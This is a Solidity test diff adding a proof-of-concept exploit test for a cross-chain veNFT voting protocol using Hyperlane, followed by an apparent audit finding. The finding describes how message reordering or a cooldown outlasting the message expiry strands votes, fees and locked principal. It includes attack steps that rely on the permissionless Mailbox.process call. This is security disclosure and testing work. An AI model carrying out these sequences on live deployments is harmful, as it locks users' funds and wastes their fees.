19 import {LeafMessageOrchestrator} from 'V3/bridge/LeafMessageOrchestrator.sol';
20 import {RootLocalAdapter} from 'V3/bridge/RootLocalAdapter.sol';
```

DIFF

```

21   import {RootMessageOrchestrator} from 'V3/bridge/RootMessageOrchestrator.sol';
22   +import {HyperlaneAdapter} from 'V3/bridge/hyperlane/HyperlaneAdapter.sol';
23   +import {VotingEscrow} from 'V3/core/VotingEscrow.sol';
24   +import {FactoryRegistry} from 'V3/factories/FactoryRegistry.sol';
25   +import {GaugeManager} from 'V3/gauge-creation/GaugeManager.sol';
26   +import {LeafEmissionsHandler} from 'V3/handlers/LeafEmissionsHandler.sol';
27   import {IMessageAdapter} from 'V3/interfaces/bridge/IMessageAdapter.sol';
28   import {IMessageOrchestrator} from 'V3/interfaces/bridge/IMessageOrchestrator.sol';
29   import {IRootMessageOrchestrator} from 'V3/interfaces/bridge/IRootMessageOrchestrator.sol';
30   import {IVotingEscrow} from 'V3/interfaces/core/IVotingEscrow.sol';
31   import {IFactoryRegistry} from 'V3/interfaces/factories/IFactoryRegistry.sol';
32   +import {IMinter} from 'V3/interfaces/minter/IMinter.sol';
33   import {IVotingRewardsManager} from 'V3/interfaces/rewards/IVotingRewardsManager.sol';
34   import {ILeafVoter} from 'V3/interfaces/voter/ILeafVoter.sol';
35   import {IVoter} from 'V3/interfaces/voter/IVoter.sol';
36   import {IVoterCommon} from 'V3/interfaces/voter/IVoterCommon.sol';
37   +import {DEALLOC_GAUGE, MAX_PIPS} from 'V3/libraries/ProtocolConstants.sol';
38   import {Roles} from 'V3/libraries/Roles.sol';
39   +import {Minter} from 'V3/minter/Minter.sol';
40   +import {Splitter} from 'V3/splitter/Splitter.sol';
41   +import {ReceiptToken} from 'V3/token/ReceiptToken.sol';
42   +import {Token} from 'V3/token/Token.sol';
43   import {LeafVoter} from 'V3/voter/LeafVoter.sol';
44   import {Voter} from 'V3/voter/Voter.sol';
45
46   @@ -49,6 +66,43 @@ contract E2EClaimRewardsFlowClaimRewards is TestHelpers {
47       LeafMessageOrchestrator internal _leafMessageOrchestrator;
48       RootLocalAdapter internal _rootLocalAdapter;
49
50   +   /*////////////////////////////////////
51   +       POC STATE – real production stack built inside test_POC_*
52   +   //////////////////////////////////*/

```

DIFF

```
53 +
54 + uint256 private constant _POC_ROOT_CHAIN = 8453; // Base, the root chain
55 + uint256 private constant _POC_LEAF_CHAIN = 10; // Optimism, a remote leaf
56 + uint32 private constant _POC_ROOT_DOMAIN = 8453;
57 + uint32 private constant _POC_LEAF_DOMAIN = 10;
58 + uint256 private constant _POC_GAS_LIMIT = 500_000;
59 + /// @dev Governance-set fee the root keeps to reimburse the leaf for fronting the
    'DEALLOC_GAUGE' return.
60 + uint256 private constant _POC_RETURN_COST = 0.0005 ether;
61 + /// @dev 'TestInterchainGasPaymaster.gasPrice' is 10 wei/gas, so the real IGP charges this
    per message.
62 + uint256 private constant _POC_IGP_FEE = 10 * _POC_GAS_LIMIT;
63 + uint128 private constant _POC_STAKE = 1000e18;
64 +
65 + address private immutable _POC_USER = makeAddr('PocUser');
66 + address private immutable _POC_TEAM = makeAddr('PocTeam');
67 + address private immutable _POC_MIGRATION = makeAddr('PocMigration');
68 + address private immutable _POC_VELO_MIGRATION = makeAddr('PocVelodromeMigration');
69 + address private immutable _POC_ART_PROXY = makeAddr('PocArtProxy');
70 +
71 + Token private _pocToken;
72 + VotingEscrow private _pocVe;
73 + Voter private _pocVoter;
74 + Minter private _pocMinter;
75 + RootMessageOrchestrator private _pocRootMo;
76 + LeafVoter private _pocLeafVoter;
77 + LeafMessageOrchestrator private _pocLeafMo;
78 + Mailbox private _pocRootMailbox;
79 + Mailbox private _pocLeafMailbox;
80 + uint256 private _pocTokenId;
81 + uint48 private _pocStakeEnd;
82 + uint48 private _pocAnchor;
83 + uint256 private _pocDispatchedAt;
```

DIFF

```

84 + bytes private _pocDeadMessage;
85 + bytes32 private _pocDeadId;
86 +
87     function setUp() public {
88         uint256 _deployerNonce = vm.getNonce(address(this));
89         address _expectedRootMessageOrchestrator = _computeCreate(address(this),
            _deployerNonce);
90 @@ -170,7 +224,8 @@ contract E2EClaimRewardsFlowClaimRewards is TestHelpers {
91
92         // it should emit IncentiveClaimFailed for the reverting manager
93         _expectEmit(address(_leafVoter));
94 -     emit ILeafVoter.IncentiveClaimFailed({
95 +     emit ILeafVoter
96 +         .IncentiveClaimFailed({
97             _tokenId: _TOKEN_ID, _votingRewardsManager: _revertingIncentiveManager, _programId:
            21, _maxCheckpoints: 31
98         });
99
100 @@ -244,4 +299,326 @@ contract E2EClaimRewardsFlowClaimRewards is TestHelpers {
101     _FACTORY_REGISTRY, abi.encodeCall(IFactoryRegistry.rewardsToGauge,
        (_votingRewardsManager)), abi.encode(_GAUGE)
102     );
103 }
104 +
105 + /*//////////////////////////////////////
106 +                                     POC
107 + //////////////////////////////////////////*/
108 +
109 + /**
110 +  * @notice A gauge dispatch whose leaf-side cooldown outlasts its root-stamped expiry is
        undeliverable from the
111 +  *
        instant it is stamped: 'LeafVoter.applyGaugeAllocations' rejects it
        'CooldownActive' until the
112 +  *
        deadline passes and 'AllocationExpired' forever after, with no timestamp in
        between where it applies.

```

DIFF

```

113 + *
114 + * @dev Every contract on the exploit path is the real production implementation, deployed
    here with no mocks
115 + *      and no test doubles: 'Token', 'VotingEscrow', 'Minter', 'Splitter', 'Voter',
    'RootMessageOrchestrator',
116 + *      'HyperlaneAdapter', Hyperlane's own 'Mailbox' + 'InterchainGasPaymaster',
    'LeafMessageOrchestrator',
117 + *      'LeafEmissionsHandler', 'ReceiptToken', 'FactoryRegistry', 'GaugeManager' and
    'LeafVoter'. Delivery is
118 + *      driven by calling 'Mailbox.process', which is permissionless and is exactly what a
    relayer does.
119 + *
120 + * @dev The two constants are this fixture's own values, unchanged: '_ALLOCATION_COOLDOWN
    = 1 days' on the leaf
121 + *      and '_MAX_ALLOCATION_AGE = 1 hours' on the root. Their difference is the dead
    band.
122 + *
123 + * @dev The only privileged calls are deployment-time wiring (register the chain, register
    adapters, set the
124 + *      return cost and the return gas limit, pre-fund the leaf pool). The exploit itself
    is a veNFT owner
125 + *      trying to exit a leaf chain after their lock expired – no roles, no attacker, no
    delivery race.
126 + */
127 + function test_POC_CooldownBounceOutlivesRootStampedExpiry() external {
128 +     _pocDeploySystem();
129 +
130 +     // — The user stakes and books their voting power on the leaf chain
    _____
131 +     {
132 +         vm.prank(_POC_MIGRATION);
133 +         _pocToken.transfer(_POC_USER, _POC_STAKE);
134 +         vm.deal(_POC_USER, 1 ether);
135 +
136 +         vm.startPrank(_POC_USER);
137 +         _pocToken.approve(address(_pocVe), _POC_STAKE);
138 +         _pocTokenId = _pocVe.createStake(_POC_STAKE, 1, false);

```

DIFF

```

139 +     vm.stopPrank();
140 +     _pocStakeEnd = _pocVe.staked(_pocTokenId).end;
141 +
142 +     IVoter.ChainAllocationDispatch[] memory _chains = new IVoter.ChainAllocationDispatch[]
143 +     (1);
144 +     _chains[0] = IVoter.ChainAllocationDispatch({
145 +         chainId: _POC_LEAF_CHAIN, delta: _POC_STAKE, gasLimit: _POC_GAS_LIMIT, value: 0.01
146 +         ether
147 +     });
148 +     vm.recordLogs();
149 +     vm.prank(_POC_USER);
150 +     _pocVoter.allocateChains{value: 0.01 ether}(_pocTokenId, _chains, _POC_USER);
151 +     _pocRelay(_pocLeafMailbox);
152 + }
153 +
154 + // — Vote #1: the user parks their leaf budget. This is the ONLY thing that sets the
155 + // cooldown anchor —
156 + {
157 +     vm.warp(uint256(_pocStakeEnd) - 1 hours);
158 +     IVoterCommon.GaugeAllocation[] memory _park = new IVoterCommon.GaugeAllocation[](1);
159 +     _park[0] = IVoterCommon.GaugeAllocation({gauge: _pocLeafVoter.ZERO_GAUGE(), allocated:
160 +     _POC_STAKE, data: ''});
161 +     vm.recordLogs();
162 +     vm.prank(_POC_USER);
163 +     _pocVoter.allocateGauges{value: 0.01 ether}(_pocTokenId, _POC_LEAF_CHAIN, _park,
164 +     _POC_GAS_LIMIT, _POC_USER);
165 +     _pocRelay(_pocLeafMailbox);
166 +
167 +     (, _pocAnchor,,) = _pocLeafVoter.tokenStates(_pocTokenId);
168 +     assertEq(_pocAnchor, uint48(block.timestamp), 'vote #1 must anchor the leaf
169 +     cooldown');
170 + }
171 +
172 + // — EXPLOIT: the lock expires two hours later and the user sends the only exit the
173 + // protocol offers —

```

DIFF

```

167 +    // 'DEALLOC_GAUGE' is the sole way to return leaf-booked power to CHAIN0, and CHAIN0
    coverage is what

168 +    // 'VotingEscrow.withdraw' requires. The user pays the transport fee plus the
    deallocation return cost.

169 +    vm.warp(uint256(_pocStakeEnd) + 1 hours);

170 +    assertGt(block.timestamp, _pocStakeEnd, 'the stake is expired, the user wants their
    principal back');

171 +

172 +    uint256 _userEthBefore = _POC_USER.balance;

173 +    uint256 _rootMoEthBefore = address(_pocRootMo).balance;

174 +    uint256 _leafPoolBefore = address(_pocLeafMo).balance;

175 +    _pocDispatchedAt = block.timestamp;

176 +

177 +    vm.recordLogs();

178 +    vm.prank(_POC_USER);

179 +    _pocVoter.allocateGauges{

180 +        value: _POC_RETURN_COST + 0.01 ether

181 +    }(_pocTokenId, _POC_LEAF_CHAIN, _pocExitList(), _POC_GAS_LIMIT, _POC_USER);

182 +    // Root accepted, charged, and emitted success. Nothing here or later ever tells the
    user otherwise.

183 +    _pocDeadMessage = _pocLastDispatch();

184 +    _pocDeadId = _pocRootMailbox.latestDispatchedId();

185 +

186 +    // — The message is undeliverable at EVERY timestamp of its life, and forever after
    _____

187 +    // Sweep from dispatch past both the root-stamped deadline AND the moment the leaf
    cooldown actually

188 +    // elapses. 'CooldownActive' says "come back later"; 'AllocationExpired' says "you came
    back later".

189 +    {

190 +        uint256 _expiry = _pocDispatchedAt + _MAX_ALLOCATION_AGE;

191 +        uint256 _cooldownEnds = uint256(_pocAnchor) + _ALLOCATION_COOLDOWN;

192 +        assertGt(_cooldownEnds, _expiry, 'the wait the leaf prescribes ends after the deadline
    the root stamped');

193 +

```

DIFF

```

194 +     for (uint256 _t = _pocDispatchedAt; _t <= _cooldownEnds + 1 hours; _t += 30 minutes) {
195 +         vm.warp(_t);
196 +         vm.expectRevert(_t <= _expiry ? ILeafVoter.CooldownActive.selector :
197 +             ILeafVoter.AllocationExpired.selector);
198 +         _pocLeafMailbox.process('', _pocDeadMessage);
199 +     }
200 +
201 +     // — DAMAGE 1: the transport never marks it delivered, so nothing on either chain
202 +     // records the failure —
203 +
204 +     // — DAMAGE 2: the leaf never moved. The vote did not apply and no return was ever
205 +     // dispatched —
206 +     {
207 +         (, uint48 _anchorAfter, , uint128 _leafBudgetAfter) =
208 +             _pocLeafVoter.tokenStates(_pocTokenId);
209 +         assertEq(_leafBudgetAfter, _POC_STAKE, 'the leaf still holds the whole budget');
210 +         assertEq(_anchorAfter, _pocAnchor, 'the cooldown anchor never moved');
211 +         assertEq(address(_pocLeafMo).balance, _leafPoolBefore, 'the leaf never fronted a
212 +             return message');
213 +     }
214 +
215 +     // — DAMAGE 3: the fees are gone. Root kept the return cost for work it will never
216 +     // perform —
217 +
218 +     assertEq(
219 +         _userEthBefore - _POC_USER.balance,
220 +         _POC_RETURN_COST + _POC_IGP_FEE,
221 +         'the user paid the return cost and the transport fee and received nothing'
222 +     );
223 +
224 +     assertEq(
225 +         address(_pocRootMo).balance - _rootMoEthBefore,
226 +         _POC_RETURN_COST,
227 +         'the root kept the deallocation return cost for a return that was never sent'
228 +     );

```

DIFF

```

222 + );
223 +
224 + // — DAMAGE 4: the principal is unreachable. The exit failed, so CHAIN0 coverage never
    arrives —————
225 +   assertEq(_pocVoter.allocationChainAmounts(_pocTokenId, _pocVoter.CHAIN0()), 0, 'nothing
    came back to CHAIN0');
226 +   vm.prank(_POC_USER);
227 +   vm.expectRevert(IVoter.InsufficientChain0Allocation.selector);
228 +   _pocVe.withdraw(_pocTokenId, _POC_USER);
229 +   assertEq(_pocToken.balanceOf(_POC_USER), 0, 'the user holds none of their AERO');
230 +   assertEq(_pocToken.balanceOf(address(_pocVe)), _POC_STAKE, 'the escrow still holds all
    of it');
231 +
232 +   // — The bound: the identical call, once the cooldown has actually elapsed, works end
    to end —————
233 +   // This is what proves the failure is the gate ordering and nothing else, and it prices
    the lockout.
234 +   // The user was locked out for the whole dead band and has to pay a second full fee to
    get out.
235 +   assertGe(
236 +     block.timestamp - _pocDispatchedAt,
237 +     _ALLOCATION_COOLDOWN - _MAX_ALLOCATION_AGE,
238 +     'the lockout spans the cooldown minus the allocation age'
239 +   );
240 +
241 +   vm.recordLogs();
242 +   vm.prank(_POC_USER);
243 +   _pocVoter.allocateGauges{
244 +     value: _POC_RETURN_COST + 0.01 ether
245 +   }(_pocTokenId, _POC_LEAF_CHAIN, _pocExitList(), _POC_GAS_LIMIT, _POC_USER);
246 +   _pocRelay(_pocLeafMailbox); // applies, and dispatches the DEALLOC_GAUGE return leaf ->
    root
247 +   _pocRelay(_pocRootMailbox); // root credits CHAIN0
248 +
249 +   assertEq(

```

DIFF

```

250 +     _pocVoter.allocationChainAmounts(_pocTokenId, _pocVoter.CHAIN0()), _POC_STAKE, 'the
      power finally returned'

251 + );

252 + vm.prank(_POC_USER);

253 + _pocVe.withdraw(_pocTokenId, _POC_USER);

254 +     assertEq(_pocToken.balanceOf(_POC_USER), _POC_STAKE, 'the principal is only reachable
      after the dead band');

255 +

256 +     // — The dead message is not even a permanent revert loop: a later vote demotes it to
      a silent no-op —

257 +     _pocLeafMailbox.process('', _pocDeadMessage);

258 +     assertTrue(_pocLeafMailbox.delivered(_pocDeadId), 'it finally "delivers"');

259 +     (,,, uint128 _leafBudgetFinal) = _pocLeafVoter.tokenStates(_pocTokenId);

260 +     assertEq(_leafBudgetFinal, 0, 'as a no-op that applies nothing: the vote it carried is
      gone for good');

261 + }

262 +

263 + /// @dev The lone 'DEALLOC_GAUGE' exit: the only way to return leaf-booked voting power to
      CHAIN0.

264 + function _pocExitList() private pure returns (IVoterCommon.GaugeAllocation[] memory _exit)
      {

265 +     _exit = new IVoterCommon.GaugeAllocation[](1);

266 +     _exit[0] = IVoterCommon.GaugeAllocation({gauge: DEALLOC_GAUGE, allocated: _POC_STAKE,
      data: ''});

267 + }

268 +

269 + /// @dev SETUP ONLY. Deploys the full production stack on both sides and performs the
      governance wiring a

270 + ///     real deployment performs. Nothing here is mocked and nothing here is part of the
      exploit.

271 + function _pocDeploySystem() private {

272 +     vm.chainId(_POC_ROOT_CHAIN);

273 +     vm.warp((block.timestamp / 1 weeks) * 1 weeks + 1 weeks);

274 +     uint48 _migrationOpen = uint48(block.timestamp + 1 weeks);

275 +

276 +     _pocDeployRootStack(_migrationOpen);

```

DIFF

```

277 +   _pocDeployLeafStack();
278 +   _pocWireAndFund();
279 +
280 +   // Past 'migrationOpen + 1 week', so AERO transfers are open and the Minter's emissions
    are live.
281 +   vm.warp(uint256(_migrationOpen) + 2 weeks);
282 + }
283 +
284 + /// @dev SETUP ONLY. Root chain: AERO, the escrow, the Minter/Splitter pair, the Voter and
    its orchestrator.
285 + function _pocDeployRootStack(uint48 _migrationOpen) private {
286 +     uint256 _n = vm.getNonce(address(this));
287 +     address _aRootMo = _computeCreate(address(this), _n);
288 +     address _aVoter = _computeCreate(address(this), _n + 1);
289 +     address _aVe = _computeCreate(address(this), _n + 2);
290 +     address _aSplitter = _computeCreate(address(this), _n + 3);
291 +     address _aMinter = _computeCreate(address(this), _n + 4);
292 +     address _aToken = _computeCreate(address(this), _n + 5);
293 +
294 +     _pocRootMo = new RootMessageOrchestrator(_aVoter);
295 +     _pocVoter = new Voter({
296 +         _orchestrator: _aRootMo,
297 +         _votingEscrow: _aVe,
298 +         _minter: _aMinter,
299 +         _token: _aToken,
300 +         _adapterAuthority: _ADAPTER_AUTHORITY,
301 +         _governor: _GOVERNOR,
302 +         _configAdmin: _CONFIG_ADMIN,
303 +         _maxAllocationAge: _MAX_ALLOCATION_AGE
304 +     });
305 +     _pocVe = new VotingEscrow(
306 +         IVotingEscrow.Contracts({token: _aToken, voter: _aVoter, artProxy: _POC_ART_PROXY}),
307 +         IVotingEscrow.Admins({vpmAdmin: _CONFIG_ADMIN, artProxyAdmin: _CONFIG_ADMIN,
            burnFeesAdmin: _CONFIG_ADMIN})

```

DIFF

```

308 + );
309 +
310 + address[] memory _recipients = new address[](1);
311 + uint256[] memory _shares = new uint256[](1);
312 + _recipients[0] = _POC_TEAM;
313 + _shares[0] = MAX_PIPS;
314 + new Splitter(_aToken, _aVoter, _recipients, _shares);
315 +
316 + _pocMinter = new Minter(
317 +     IMinter.ConstructorParams({
318 +         token: _aToken,
319 +         voter: _aVoter,
320 +         splitter: _aSplitter,
321 +         operator: _GOVERNOR,
322 +         migrationOpen: _migrationOpen,
323 +         initialBaseRate: 1e18,
324 +         maxBaseRateChangePips: 10_000,
325 +         baseRateUpdateCooldown: 1 weeks,
326 +         teamRate: 0,
327 +         maxBaseRateChangePipsCap: 50_000,
328 +         minBaseRateUpdateCooldown: 1 hours,
329 +         maxBaseRateUpdateCooldown: 4 weeks,
330 +         maxBandFloorPips: 500_000,
331 +         maxBandCeilingPips: 1_000_000
332 +     })
333 + );
334 + _pocToken = new Token(_aMinter, _aVe, _POC_MIGRATION, _POC_VELO_MIGRATION,
335 +     _migrationOpen, _POC_STAKE, 0, 'A', 'A');
336 + }
337 +
338 + /// @dev SETUP ONLY. Hyperlane transport on both chains plus the full leaf stack.
339 + function _pocDeployLeafStack() private {

```

DIFF

```

339 + // Hyperlane: the real 'Mailbox' on each chain. 'TestInterchainGasPaymaster' IS the
    production

340 + // 'InterchainGasPaymaster' with only its gas-price oracle read overridden, so it
    charges, refunds the

341 + // overpayment and keeps the fee exactly as the real one does. The ISM and the zero-fee
    required hook are

342 + // transport verification and fee plumbing that sit entirely outside
    'LeafVoter.applyGaugeAllocations';

343 + // neither is read by, nor can influence, the two gates under test.

344 + TestIsm _ism = new TestIsm();

345 + TestPostDispatchHook _requiredHook = new TestPostDispatchHook();

346 + TestInterchainGasPaymaster _igp = new TestInterchainGasPaymaster();

347 + _pocRootMailbox = new Mailbox(_POC_ROOT_DOMAIN);

348 + _pocRootMailbox.initialize(address(this), address(_ism), address(_igp),
    address(_requiredHook));

349 + _pocLeafMailbox = new Mailbox(_POC_LEAF_DOMAIN);

350 + _pocLeafMailbox.initialize(address(this), address(_ism), address(_igp),
    address(_requiredHook));

351 +

352 + uint256 _nl = vm.getNonce(address(this));

353 + address _aLeafMo = _computeCreate(address(this), _nl);

354 + address _aReceipt = _computeCreate(address(this), _nl + 1);

355 + address _aRegistry = _computeCreate(address(this), _nl + 2);

356 + address _aLeafVoter = _computeCreate(address(this), _nl + 5);

357 +

358 + _pocLeafMo = new LeafMessageOrchestrator(_aLeafVoter, _POC_ROOT_CHAIN);

359 + new ReceiptToken(_aLeafVoter, 'rA', 'rA');

360 + new FactoryRegistry(address(0), _aLeafVoter);

361 + new GaugeManager(_aRegistry, _aLeafVoter);

362 + new LeafEmissionsHandler(_aLeafVoter, _aReceipt);

363 + _pocLeafVoter = new LeafVoter({

364 +     _governor: _GOVERNOR,

365 +     _configAdmin: _CONFIG_ADMIN,

366 +     _leafMessageOrchestrator: _aLeafMo,

367 +     _receiptToken: _aReceipt,

```

DIFF

```

368 +     _factoryRegistry: _aRegistry,
369 +     _gaugeManager: _computeCreate(address(this), _nl + 3),
370 +     _allocationCooldown: _ALLOCATION_COOLDOWN,
371 +     _maxGauges: _MAX_GAUGES,
372 +     _adapterAuthority: _ADAPTER_AUTHORITY,
373 +     _emissionsHandler: _computeCreate(address(this), _nl + 4),
374 +     _emergencyCouncil: _EMERGENCY_COUNCIL
375 + });
376 + }
377 +
378 + /// @dev SETUP ONLY. The governance wiring a real deployment performs: adapters, chain
    registration, the
379 + ///     deallocation return cost and gas limit, and the leaf's pre-funding pool.
380 + function _pocWireAndFund() private {
381 +     HyperlaneAdapter _rootAdapter = new HyperlaneAdapter(
382 +         _POC_LEAF_CHAIN, _POC_LEAF_DOMAIN, address(_pocRootMo), address(_pocRootMailbox),
    address(_pocVoter)
383 +     );
384 +     // The leaf adapter is deployed on the leaf chain in production; mirror that so its
    constructor's
385 +     // "remote chain must not be the local chain" check sees the same world it would see
    there.
386 +     vm.chainId(_POC_LEAF_CHAIN);
387 +     HyperlaneAdapter _leafAdapter = new HyperlaneAdapter(
388 +         _POC_ROOT_CHAIN, _POC_ROOT_DOMAIN, address(_pocLeafMo), address(_pocLeafMailbox),
    address(_pocLeafVoter)
389 +     );
390 +     vm.chainId(_POC_ROOT_CHAIN);
391 +
392 +     vm.startPrank(_CONFIG_ADMIN);
393 +     IAccessControl(address(_pocVoter)).grantRole(Roles.CHAIN_CONFIG_ROLE, _CONFIG_ADMIN);
394 +     IAccessControl(address(_pocVoter)).grantRole(Roles.VOTER_CONFIG_ROLE, _CONFIG_ADMIN);
395 +     IAccessControl(address(_pocLeafVoter)).grantRole(Roles.GAS_CONFIGURER_ROLE,
    _CONFIG_ADMIN);
396 +     _pocVoter.registerChain(_POC_LEAF_CHAIN);

```

DIFF

```
397 +   _pocRootMo.setDeallocationReturnCost(_POC_LEAF_CHAIN, _POC_RETURN_COST);
398 +   _pocLeafMo.setDeallocationGasLimit(_POC_GAS_LIMIT);
399 +   vm.stopPrank();
400 +
401 +   vm.startPrank(_ADAPTER_AUTHORITY);
402 +   _pocRootMo.setAdapter(_POC_LEAF_CHAIN, IMessageAdapter(address(_rootAdapter)));
403 +   _rootAdapter.setRemoteAdapter(bytes32(uint256(uint160(address(_leafAdapter)))))
404 +   _pocLeafMo.setAdapter(IMessageAdapter(address(_leafAdapter)));
405 +   _leafAdapter.setRemoteAdapter(bytes32(uint256(uint160(address(_rootAdapter)))))
406 +   vm.stopPrank();
407 +
408 +   // Governance pre-funds the leaf pool that fronts 'DEALLOC_GAUGE' returns.
409 +   vm.deal(address(_pocLeafMo), 1 ether);
410 + }
411 +
412 + /// @dev The permissionless relayer: takes the message the mailbox just dispatched and
413 +   delivers it.
414 +   function _pocRelay(Mailbox _destination) private {
415 +       _destination.process('', _pocLastDispatch());
416 +   }
417 +
418 +   /// @dev Reads the raw message out of the 'Dispatch' event the origin mailbox emitted.
419 +   function _pocLastDispatch() private returns (bytes memory _message) {
420 +       Vm.Log[] memory _logs = vm.getRecordedLogs();
421 +       bytes32 _topic = keccak256('Dispatch(address,uint32,bytes32,bytes)');
422 +       for (uint256 _i = _logs.length; _i > 0; --_i) {
423 +           if (_logs[_i - 1].topics[0] == _topic) return abi.decode(_logs[_i - 1].data, (bytes));
424 +       }
425 +       revert('no Dispatch event recorded');
426 +   }
```

A chain-budget delta delivered ahead of an in-flight gauge vote permanently voids that vote, because the leaf's exact-budget check compares a frozen dispatch-time total against an additive-only budget

Location	—
----------	---

1. Summary

`LeafVoter.applyGaugeAllocations` requires the inbound gauge list to sum to exactly the token's current leaf budget (`_requireExactBudget`, `LeafVoter.sol:428`). Root froze that sum to the booking that existed at dispatch (`_validateGauges`, `Voter.sol:2022`), and the leaf budget between gauge votes is additive-only (`applyChainAllocation`, `LeafVoter.sol:380-381` — `allocationDelta` is `uint128`, and reductions must round-trip through `DEALLOC_GAUGE`). Hyperlane guarantees no ordering, so an `AllocateChain` dispatched after a gauge vote can be delivered before it. Once it is, the budget has moved past the frozen total and can never return to it: the vote reverts `ChainAllocationMismatch` on every redelivery until its root-stamped `expiry`, then `AllocationExpired` forever after.

The critical detail is that this is a revert, not a skip. `_handleAllocateChain` (`LeafMessageOrchestrator.sol:202-226`) advances `lastChainVoteNonce` and `lastShapeNonce` but never `lastTokenIdVoteNonce`, so the newest-wins gate at `:244` does not supersede the in-flight vote — it lets it through to fail. `route` deliberately carries no `try/catch` (`:115-116`), so the failure rolls back the nonce and Hyperlane's delivery marker, and the message is retried forever without ever being marked delivered.

No attacker is required: the honest relayer alone produces this ordering. `Mailbox.process` being permissionless (`Mailbox.sol:202-246`) only lets anyone force it deterministically. The user's root transaction succeeds, the transport fee is consumed, the vote never lands, any `DEALLOC_GAUGE` return it carried is never dispatched, and nothing on either chain records the failure.

2. Finding Description

Root freezes the total; the leaf re-checks it against a moved target. `_prepareGaugeAllocation` validates the outgoing list against the live booking (`Voter.sol:822`), with the stated intent "Mirrors the leaf's budget check, so an over-allocated vote is rejected before dispatch":

SOLIDITY

```
1  bool _hasDeallocSentinel = _validateGauges(_gauges, allocationChainAmounts[_tokenId]
    [_chainId], _chainId);
```

`_validateGauges` ends if `( _total != _chainAllocation ) revert ChainAllocationMismatch( _chainId );` (:2022). That total is sealed into the message body along with `expiry = uint48( block.timestamp ) + maxAllocationAge (:1798)`. On the leaf, `_requireExactBudget` re-runs the identical equality against `tokenStates[ _tokenId ].chainAllocation (:1599-1607)`. Between the two evaluations sits an unordered transport and a budget that only grows.

The budget is monotonic between gauge votes. `chainAllocation` has exactly three writers, and grep confirms the list is exhaustive. `applyChainAllocation (LeafVoter.sol:381)` can only increase it, since `allocationDelta` is `uint128`, and it runs on any inbound `AllocateChain`. The two decreasing writes are `_processAllocation's chainAllocation -= _deallocAmount (:957)`, reachable only through `_distributeGauges` — that is, only once a gauge vote actually applies — and `applyEmergencyDeallocation (:479)`, whose handler advances `lastTokenIdVoteNonce (LeafMessageOrchestrator.sol:325)`.

Both decreasing paths therefore require a message that supersedes the stranded nonce. So once the budget rises above the frozen total, no reachable state transition returns it there while the stranded message is still eligible to apply. The strand is structurally permanent, not merely delayed.

Why it reverts instead of being skipped. This is the hinge of the finding. Of the six inbound handlers, only `_handleAllocateGauge (:247)` and `_handleEmergencyDeallocate (:325)` write `lastTokenIdVoteNonce`. `_handleAllocateChain` does not. So a later-nonce chain delta raises the budget without raising the token's vote high-water — the stale gauge vote still passes if `( _chainNonce <= lastTokenIdVoteNonce[ _tokenId ] ) return;` and proceeds into the voter, where it fails. Had the chain handler advanced that nonce, the message would have been dropped harmlessly and there would be no finding.

The redelivery loop is deliberate, and it is what makes the failure permanent rather than visible. `route` states it outright (:115-116):

"Single-use replay gate. No try/catch below: a reverting handler must roll the nonce back so the transport redelivers and the additive `AllocateChain` delta still applies exactly once."

Combined with `Mailbox.process` writing `deliveries[_id]` in its EFFECTS section before calling `handle`, a reverting message is never marked delivered and never stops being retried.

The design comment three lines above the check reasons only about the converging direction.

`LeafVoter.sol:426-427`:

"The leaf is the authoritative budget enforcer: its budget can sit below root's booked amount in flight. Until the budget lands this reverts and the transport redelivers."

That is correct and safe: budget below list total means the missing `AllocateChain` is still in flight, it arrives, and the retry succeeds. The inverse case — budget above the list total — uses the same retry loop with no convergence, and is not considered anywhere in the codebase.

The team modelled this exact arrival order and missed the budget interaction.

`LeafMessageOrchestrator.sol:253` carries a comment written specifically for it:

"A gauge vote older than a later chain reallocation books at the current shape, not its own stale one."

That branch is unreachable for any nonzero delta, because `_requireExactBudget` reverts first — it is live only for the documented zero-delta refresh poke. Their composed test

`test_WhenAShapeStaleGaugeVoteFollowsAHigherNonceChainAllocation`

(`LeafMessageOrchestratorComposed.t.sol:122`) drives precisely this pair, but sets the gauge list total equal to the post-delta budget (`_amounts[0] = _budget`), the one configuration where the budget check passes. The realistic case — a list frozen at the pre-delta total — is untested. The two negative tests in `applyGaugeAllocations.tree` both cover `list > budget`; `list < budget` from a later additive delta appears nowhere.

This matters for scope: the team demonstrably treats adversarial reordering as a live threat and has written regression tests for it (`LeafMessageOrchestrator.t.sol:1579, :1680`, both on the emergency-deallocation fence). This is a gap in a threat model they take seriously, not an accepted cost.

The window is far wider than relayer latency, because the cooldown check runs first.

`_consumeCooldownReduction` sits at `LeafVoter.sol:420`, eight lines before the budget check at `:428`, and hard-reverts `CooldownActive(:850)` whenever the token re-votes inside `allocationCooldown` — with `maxAccumulatedCooldownReduction` "zero by default, so reductions stay off until governance opts in" (`:452`). A gauge vote bouncing on cooldown therefore sits undelivered for the entire cooldown, and any chain delta arriving during it strands the vote permanently. The overall window is bounded by `maxAllocationAge`; the repo's own E2E fixture pairs `allocationCooldown = 1 days` with `maxAllocationAge = 1 hours` (`ClaimRewardsFlow.t.sol:26-27`), making that window a full hour rather than the seconds of ordinary relayer latency.

The leaf invariant `gauge weight (incl. ZERO_GAUGE) == chainAllocation(:384)` still holds in the stranded state; root's `allocationChainAmounts` still matches the leaf budget; no unbacked AERO is minted and no voting power is double-credited. There is no head-of-line blocking — `noncesUsed` is set-membership with no contiguity requirement (`:118`) — so one dead nonce does not wedge the chain's message stream. And recovery is always available: a fresh `allocateGauges` at the corrected total applies cleanly, including for Sunset chains and expired stakes, where the lone `DEALLOC_GAUGE` sentinel returns the whole budget and therefore matches by construction.

3. Attack Steps

No attacker is required. Hyperlane enforces no ordering, so the honest relayer alone produces this. The permissionless path below is the deterministic version.

1. A veNFT owner (or approved operator, or a Relay keeper) calls `Voter.allocate` for leaf chain X,

dispatching `AllocateChain(N, +D1)` and `AllocateGauge(N+1, [] = B + D1)` (`Voter.sol:312-313`). Root books `allocationChainAmounts = B + D1` and the gauge list is frozen to it.

2. Before `AllocateGauge(N+1)` is delivered, the same owner calls `Voter.allocateChains(tokenId, [{chainId: X, delta: D2}])`, booking `B + D1 + D2` and dispatching `AllocateChain(N+2)`. `_prepareChainAllocations` (`Voter.sol:943-965`) has no pending-dispatch guard, and root imposes no cooldown — the cooldown lives on the leaf (`IVoter.sol:480-481`). Both of the owner's transactions succeed.
3. `AllocateChain(N+2)` is delivered first — either by ordinary relayer reordering, or because any unprivileged party calls `Mailbox.process` directly (`Mailbox.sol:202-246`, no access control) with the public validator signatures the honest relayer would use.
